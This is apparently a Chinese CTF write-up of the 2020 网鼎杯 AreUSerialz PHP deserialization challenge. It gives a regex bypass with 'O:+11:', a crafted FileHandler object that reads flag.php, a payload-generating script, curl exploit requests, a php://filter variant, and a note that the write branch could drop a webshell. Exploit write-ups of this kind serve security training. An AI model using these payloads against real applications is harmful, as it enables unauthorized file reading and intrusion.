news 2026/10/9 8:21:35

网鼎杯2020 AreUSerialz:PHP反序列化入门与绕过技巧详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网鼎杯2020 AreUSerialz:PHP反序列化入门与绕过技巧详解

网鼎杯 2020 青龙组的这道 AreUSerialz,我愿称之为 PHP 反序列化的入门必修课。题目名字本身就是谐音梗:AreUSerialz 读起来就是 Are you serial?,出题人等于在说:不会序列化就别来了。事实也确实如此,整道题的核心就是 PHP 反序列化,难度不大但在细节上埋了好几个坑,尤其适合刚接触 CTF Web 方向、想搞明白 unserialize 到底怎么玩的人。我当年第一次做这道题的时候也踩了坑,回头整理下来发现它几乎把反序列化的经典考点串了一遍:魔术方法触发、强比较与弱比较的差异、序列化对象被正则过滤时的绕过技巧。这篇文章不打算写得太玄,直接按我当时做题的流程走一遍:从源码审计开始,一步步分析哪里能利用、怎么构造 payload、哪些坑必须避开。

1. 题目概览:谐音梗背后的考点

1.1 题目基本信息

网鼎杯 2020 青龙组的 Web 题,名字叫 AreUSerialz,题型是典型的白盒 PHP 反序列化。打开题目页面就能看到完整源码,highlight_file(__FILE__)直接把代码亮给你,目标很明确:通过传入一个str参数触发反序列化,最终拿到 flag。

我当时看到题目的第一反应是:既然叫 "AreUSerialz",而且页面直接给出源码,那重点一定在unserialize()这个函数上。CTF 里面这种“代码全给你”的题反而比黑盒更好做,因为不需要猜,只需要读代码、找逻辑漏洞,然后构造一条合理的调用链。整道题给我的感觉就是:不需要任何中间人攻击、不需要爆破,纯粹拼代码审计能力和对 PHP 语言特性的理解。

1.2 为什么这道题值得复盘

这道题的含金量在于“麻雀虽小,五脏俱全”。它涉及的知识点包括:

  • PHP 对象序列化与反序列化的基本格式
  • 魔术方法__destruct()的触发时机
  • 强比较===与弱比较==的区别
  • 正则过滤/\[oc\]:\d+:/i的绕过思路
  • file_get_contents读取文件时的路径构造

这几块内容单独拎出来都不难,但组合在一起就很容易让人栽跟头。我记得当时看网上很多人的 writeup,payload 就一行,看起来特别简单,但自己动手复现时却发现怎么都不出 flag,原因就是序列化字符串里某个属性类型不对、长度算错,或者 URL 编码没处理。所以这篇文章我把每一步都拆开讲,尽量让读者能照着复现成功。

2. 源码审计:把 FileHandler 的底裤翻出来

2.1 入口点与过滤规则

题目源码先include("flag.php"),然后高亮显示文件内容,紧接着定义了一个FileHandler类,最后有一段入口逻辑:

if(isset($_GET["str"])) { $str = (string)$_GET["str"]; if(preg_match('/[oc]:\d+:/i', $str)) { die("Stop Hacking!"); } unserialize($str); }

这段代码的逻辑非常直白:接收 GET 参数str,强转成字符串,然后用正则过滤,最后直接unserialize。这里有几个细节值得注意。

第一,(string)$_GET["str"]这个强转在正常情况下是多余的,因为$_GET里的值本身就是字符串,这个操作更像是“保险措施”,防止有人传入数组类型的参数。

第二,正则/[oc]:\d+:/i匹配的是:字符o或c(大小写不敏感)后面紧跟冒号、一个或多个数字、再一个冒号。换句话说,它专门拦截标准的 PHP 对象序列化字符串。PHP 中对象序列化的格式是O:<类名长度>:"<类名>":<属性数量>:{...},其中O就是对象标识,而C是自定义序列化接口的标识。这个正则等于直接把最常见的对象序列化写法全挡掉了。

第三,unserialize($str)的返回值没有被赋值给任何变量。这个细节很重要,意味着这个临时对象在语句执行结束后会立刻被销毁,从而触发__destruct()魔术方法。出题人显然就是想让__destruct()成为整个利用链的起点。

2.2 三个核心方法的业务逻辑

FileHandler类中有三个公开方法:process()、write()、read(),以及一个辅助方法output()。先看process():

public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }

process()根据op属性的值决定走哪条分支:等于"1"就写文件,等于"2"就读文件,否则输出Bad Hacker!。

再看write():

public function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("File not found!"); } }

write()需要filename和content两个属性都有值,并且content字符串长度不能超过 100,然后调用file_put_contents把内容写入文件。如果能控制这两个属性,理论上可以往服务器写任意文件,比如写一个 webshell。不过题目环境是否允许写文件、写到哪里,需要结合实际目录权限判断。

然后是read(),这道题我们真正要走的分支:

public function read() { if(isset($this->filename)) { if(!preg_match("/flag/i", $this->filename)) { $this->output("Permission denied!"); } else { $res = file_get_contents($this->filename); $this->output($res); } } else { $this->output("File not found!"); } }

read()先判断filename是否设置,然后检查文件名里是否包含flag(不区分大小写),如果不包含就输出Permission denied!,包含则用file_get_contents读取文件内容并输出。

熟悉 PHP 文件操作的读者应该已经反应过来了:file_get_contents的参数不限于普通文件路径,只要 PHP 环境开启了allow_url_fopen,还可以用php://filter这样的流包装器。这意味着即使文件名被限制为必须包含flag,也完全可以构造出合法的读取路径。

2.3 __destruct 才是真正的触发入口

FileHandler类定义了一个析构方法:

public function __destruct() { if($this->op === "2") $this->process(); else $this->output("Hacker!"); }

__destruct()在对象被销毁时自动调用。由于入口代码里unserialize($str)没有把返回值赋给变量,临时对象在语句结束时立刻销毁,所以__destruct()一定会执行。

但是这里有个关键陷阱:__destruct()里用的是强比较$this->op === "2",要求op的值不仅是数字2,还必须是字符串类型"2"。如果把op序列化成整数2,那么2 === "2"的结果为false,会走进else分支输出Hacker!,整个利用链就断了。

而process()里用的却是弱比较$this->op == "1"和$this->op == "2"。弱比较在 PHP 中会自动做类型转换,字符串"2"和整数2都会被当成同一个值。这两种比较运算符混用,正是出题人埋下的第二个坑。

3. 漏洞利用:两个坑和一条链

3.1 坑一:正则过滤与加号绕过

正常的 PHP 对象序列化字符串长这样:

O:11:"FileHandler":3:{...}

其中O代表对象,11是类名FileHandler的字符长度,3是属性数量。题目正则/[oc]:\d+:/i会匹配O:紧跟数字的部分,因为正则中的i修饰符让大小写不敏感,O和o都会被匹配,连自定义序列化的C开头格式也被一并拦下。

那怎么绕过?答案是利用 PHPunserialize解析的宽容性:在对象类型标识符和类名长度之间加一个+号,写成:

O:+11:"FileHandler":3:{...}

PHP 官方文档和实际运行都允许这种写法,+会被忽略,当成普通的正号处理。但正则却匹配不了它,因为+不是数字。这样一来,过滤规则就被完美绕过了。

这里再说一个容易忽略的点:preg_match是搜索匹配,不是全字匹配。就算你用一个大的数组序列化字符串包住对象,只要整个字符串里出现了O:11:这样的片段,照样会被正则命中。所以不能靠外层套数组来绕过,只能从对象标识符本身的写法上下功夫。加号绕过的本质,是让“实际给unserialize解析的字符串”和“正则试图匹配的字符串”产生差异。

3.2 坑二:强比较与弱比较的区别

前面已经提到,__destruct()用强比较,process()用弱比较。这里再展开说说为什么只能用字符串"2"。

PHP 的弱比较==会比较两个值在自动类型转换后的结果。"2" == 2为true,"2" == "1"为false。强比较===则要求类型和值都完全一致,"2" === 2为false,"2" === "2"为true。

假设我们在序列化字符串里把op写成整数:

s:2:"op";i:2;

那么反序列化后$this->op是整数2,进入__destruct()时2 === "2"不成立,直接输出Hacker!,根本走不到process()。

假设把op写成布尔值true,同样会因为类型不是字符串而被强比较拦下。所以唯一正确的写法是:

s:2:"op";s:1:"2";

也就是把op序列化为一个长度为 1 的字符串"2"。这样才能满足__destruct()中的强比较,之后进入process(),弱比较"2" == "2"自然也是成立的,成功走进read()分支。

3.3 构造 payload 并发送请求

现在整条调用链已经清晰了:

  1. 反序列化一个FileHandler对象
  2. op为字符串"2",通过__destruct()强比较
  3. 进入process(),走到read()分支
  4. filename包含flag,通过正则检查
  5. file_get_contents读取 flag 文件并输出

那么首先要确定类名长度。FileHandler一共 11 个字符,所以类名长度是11,不是某些 writeup 里写的12。如果你用手工构造时把长度写错,unserialize会直接报错或者解析出错误的对象。属性名长度也要注意:op是 2,filename是 8,content是 7。

理论上 payload 可以这样手写:

O:+11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"x";}

其中s:8:"flag.php"表示filename的值为flag.php,长度为 8。content随便给一个长度为 1 的字符串即可,因为read()分支根本不会用到它。

不过我更推荐用 PHP 自动生成,避免手算长度出错。先正常创建一个FileHandler对象并序列化,然后做一次字符串替换,把O:11:替换成O:+11:,脚本如下:

<?php class FileHandler { public $op = "2"; public $filename = "flag.php"; public $content = "x"; } $payload = serialize(new FileHandler()); $payload = str_replace('O:11:', 'O:+11:', $payload); echo $payload . "\n"; echo urlencode($payload) . "\n"; ?>

把脚本放到本地 PHP 环境里跑一下,就能得到原始 payload 和 URL 编码后的结果。注意urlencode会把+编码成%2B,这一点非常重要:URL 里的+会被服务器解析为空格,如果直接传输未编码的+,反序列化字符串就变成了O: 11:"FileHandler"...,格式直接损坏。

实际发送请求时,用 curl 或者浏览器都行。我当时的请求长这样:

curl 'http://target/?str=O%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'

如果 flag 在flag.php里,页面会回显[Result]: <?php $flag = "flag{...}"; ?>。因为file_get_contents读取的是文件源码,PHP 标签不会被解析,会原样显示在页面里。

4. 本地复现:从零打一遍

4.1 搭建本地靶场

在线的题目环境过期了也没关系,完全可以在本地复现。创建一个目录,里面放两个文件:flag.php和test.php。

flag.php内容随意,只要能看出读取成功:

<?php $flag = "flag{test_flag_for_areuserialz}"; ?>

test.php直接模拟题目源码,注意保留入口逻辑和类定义:

<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { public $op = "1"; public $filename = "/flag.txt"; public $content; public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } public function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("File not found!"); } } public function read() { if(isset($this->filename)) { if(!preg_match("/flag/i", $this->filename)) { $this->output("Permission denied!"); } else { $res = file_get_contents($this->filename); $this->output($res); } } else { $this->output("File not found!"); } } public function output($s) { echo "[Result]: "; echo $s; } public function __destruct() { if($this->op === "2") $this->process(); else $this->output("Hacker!"); } } if(isset($_GET["str"])) { $str = (string)$_GET["str"]; if(preg_match('/[oc]:\d+:/i', $str)) { die("Stop Hacking!"); } unserialize($str); } ?>

然后在目录下启动 PHP 内置服务器:

php -S 127.0.0.1:8080

访问http://127.0.0.1:8080/test.php就能看到源码页面。

4.2 四次对比测试

有了本地靶场,就可以把各种情况都测一遍,看看每种写法到底会触发什么结果。

第一次,发送正常利用 payload:

curl 'http://127.0.0.1:8080/test.php?str=O%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'

结果页面上出现:

[Result]: <?php $flag = "flag{test_flag_for_areuserialz}"; ?>

说明整条链走通了。

第二次,发送不带+的 payload,验证正则拦截:

curl 'http://127.0.0.1:8080/test.php?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'

页面输出Stop Hacking!,说明正则生效了。

第三次,把op改为整数2,只改序列化中对应属性:

O:+11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"x";}

这次页面输出[Result]: Hacker!。原因就是强比较2 === "2"不成立,__destruct()走进了else分支。

第四次,把filename改为一个不包含flag的文件路径,比如/etc/passwd:

O:+11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:11:"/etc/passwd";s:7:"content";s:1:"x";}

页面输出[Result]: Permission denied!,证明read()里的文件名检查确实起作用了。

经过这四次对比,整道题的逻辑就完全清楚了:过滤拦截、强比较、文件名校验,每一步都必须满足,缺一不可。

4.3 扩展思路:用 php://filter 读源码

如果 flag 不在根目录,或者flag.php内容包含特殊字符导致页面显示异常,还可以用php://filter来读取源码。read()只检查filename字符串里有没有flag,而php://filter/convert.base64-encode/resource=flag.php这个字符串天然包含resource=flag.php,完全满足正则要求。

对应 payload 需要把filename的值改成上面的 filter 字符串,但这个字符串比较长,手算长度很容易出错,所以更推荐用脚本生成。用php://filter读取后,页面会返回一段 base64 编码的内容,解码后就是flag.php的源码。

5. 踩坑记录与排查思路

5.1 典型问题速查表

做这类题的时候,最烦的就是 payload 看起来没问题但就是不出 flag。我把自己实际调试中遇到的情况整理成了表格,方便对照排查。

现象可能原因排查方法
页面输出Stop Hacking!序列化字符串中O:后面没有加+,被正则拦截检查所有对象标识符,确认改写为O:+11:
页面输出[Result]: Hacker!op属性类型不是字符串"2"检查序列化片段应为s:1:"2";,不能是i:2;或b:1;
页面输出[Result]: Permission denied!filename不包含flag子串改为flag.php、/flag.txt、php://filter/.../resource=flag.php等路径
页面输出[Result]: File not found!filename未设置或序列化属性名错误确认s:8:"filename";长度正确,值存在
页面空白或反序列化报错类名长度、属性名长度计算错误用 PHP 脚本serialize()自动生成 payload,再替换O:11:为O:+11:
URL 传参后+变成空格未对+做 URL 编码将+手工替换为%2B,或使用urlencode()后的完整字符串
能读取但页面看到的是 PHP 源码标签读取的是.php文件,内容未被解析属于正常现象,flag 就在源码文本中;也可改用php://filter读取 base64 内容

5.2 几个容易忽略的细节

第一,反序列化属性顺序并不重要。PHP 在反序列化时会根据属性名把值赋给对应属性,所以属性在序列化字符串里的排列顺序可以任意调整。但属性数量必须匹配,少写一个属性会导致解析错误,多写一般会被忽略。

第二,FileHandler的类名长度是 11,不是 12。网上有些早期的 writeup 写的是O:+12,这是错的。一旦类名长度和真实类名不匹配,反序列化就会失败。如果拿不准,直接在本地跑一下strlen('FileHandler')就能确认。

第三,content属性在read()分支里完全用不到,但序列化字符串里依然要给它一个值,因为属性总数是 3。如果你只写两个属性,PHP 反序列化时虽然会尽量容错,但为了稳妥最好不要冒险。

第四,URL 编码问题。整套 payload 里包含大量特殊字符:冒号、引号、花括号、分号、加号。在浏览器中直接拼接 URL 时,引号和花括号都需要编码。用 Burp Suite 或者写脚本发送请求会更方便,否则很容易被各种编码问题干扰。

第五,unserialize失败时通常不会输出 PHP 警告(如果程序里没有开启错误显示),所以页面可能表现为空白或者直接返回 500。这时候不要乱猜,把 payload 放到本地测试环境里跑一下,看 PHP 报错信息是最快的方式。

6. 从这道题到真实世界的反序列化

6.1 真实场景中的对象注入

很多人觉得 CTF 里的反序列化题只是出题人自嗨,跟真实世界没关系。其实不然。PHP 应用里只要存在“用户可控的序列化数据被反序列化”的情况,就可能被对象注入。典型的场景包括:把用户信息序列化后存进 Cookie、把对象序列化后写入$_SESSION文件、把序列化请求体直接传给unserialize。当攻击者能控制这些序列化字符串时,就可以构造特定对象,让它在反序列化或析构时触发危险方法,形成类似这道题的 POP 链。

历史上很多真实漏洞都出在这个模式上:ThinkPHP 的反序列化 RCE、Laravel 的Illuminate反序列化利用链、各种 CMS 的插件漏洞,本质上都是“可控反序列化 + 魔术方法 + 危险函数”。所以别看这道题只是一个比赛小题,它背后的原理在真实漏洞分析中非常常见。

6.2 复盘之后的三点体会

第一次做这道题时,我卡在强比较和弱比较那个坑上很久。当时只想着用弱比较方便,直接把op设成了整数2,结果页面反复输出Hacker!,完全没意识到__destruct()里还有一个===在等着。后来把源码逐行读了一遍,才惊觉这两个运算符的混用就是出题人故意埋的雷。

第二点体会是:构造反序列化 payload 时,千万别高估自己的心算能力。类名长度、属性名长度、属性值长度,但凡错一个数字,整个字符串就废了。老老实实用 PHP 脚本生成,再改一个+,是最稳的做法。很多 writeup 里给的 payload 都是经过脚本生成的,直接抄可能没问题,但一旦题目环境或类名变化,自己手算就会翻车。

第三点体会是:遇到过滤条件,不要急着想什么花里胡哨的绕过姿势,先看看 PHP 语言本身是不是比正则更“宽容”。这道题里O:+11能绕过,靠的就是unserialize对加号的容忍,而这种宽容性往往就是出题人留给你的生路。后来我复盘网鼎杯后续年份的题目,甚至去看网鼎杯 2024 的 writeup,会发现很多反序列化题的核心套路依然没变:找入口、找魔术方法、找危险函数、绕过过滤。把这几个环节练熟了,以后遇到类似的题目就会顺畅很多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/9 8:21:34

本地RAG实践:用Ollama和ChromaDB构建私人文档问答助手

2026年1月25日&#xff0c;第29天。这是我给自己定的“100天实践计划”走到第29天的一个节点&#xff0c;今天干了一件之前一直想做但没敢动手的事&#xff1a;在本地电脑上把一堆散乱的PDF、Word和Markdown文档&#xff0c;变成一个能针对内容直接提问的“私人资料问答助手”。…

作者头像 李华
网站建设 2026/10/9 8:21:00

SpringBoot+Vue+MySQL个人理财系统开发实战与部署指南

个人理财系统这个题目标题我看了很多遍——SpringBoot后端Vue前端MySQL&#xff0c;标注“可直接运行”。说实话&#xff0c;这类项目最大的价值恰恰就在“可直接运行”这四个字上&#xff0c;但也是最大的坑。很多同学下载完源码对着 springboot 版本太高、vue安装及环境配置、…

作者头像 李华
网站建设 2026/10/9 8:18:48

Java后端大模型接入实战:构建Prompt过滤与敏感信息脱敏防线

最近在做一个Java后端接入大模型的项目&#xff0c;先说个现象&#xff1a;用户这边觉得自己在和“智能助手”聊天&#xff0c;那边我们的服务实际上已经把用户输入的手机号、身份证号、银行卡号、家庭住址&#xff0c;连同prompt一起原封不动地发给了外部大模型API。更要命的是…

作者头像 李华
网站建设 2026/10/9 8:18:12

评分卡模型实战:从逻辑回归到信用分数映射全流程解析

简介&#xff1a;以逻辑回归为核心的评分卡模型构建项目&#xff0c;面向希望在机器学习与风控建模方向入门或进阶的学习者。项目完整覆盖特征工程、WOE编码、IV值计算与特征筛选、特征WOE化、评分卡建模等关键环节&#xff0c;输入筛选后特征的属性值即可自动得出评分&#xf…

作者头像 李华
网站建设 2026/10/9 8:16:50

OpenClaw本地AI部署实战:从环境避坑到技能库排雷

如果你正在折腾本地AI&#xff0c;搜到了不少“本地AI总报错”的求助帖&#xff0c;说明你多半已经踩进了同一个坑&#xff1a;模型文件下载了、接口也通了&#xff0c;结果一接入 Agent 框架就开始连环报错。OpenClaw 这个开源 AI 代理框架最近在社区里相当火&#xff0c;它主…

作者头像 李华
网站建设 2026/10/9 8:15:55

防火墙与IDS/IPS协同作战:边界安全加固的盾剑组合实战

干网络安全这行久了&#xff0c;你会发现一个特别有意思的现象&#xff1a;一说防火墙&#xff0c;大家都点头&#xff1b;一问IDS/IPS&#xff0c;有人就含糊了。其实这三样东西凑在一起&#xff0c;才是一套真正完整的边界安全体系——防火墙负责当“盾”&#xff0c;把不该进…

作者头像 李华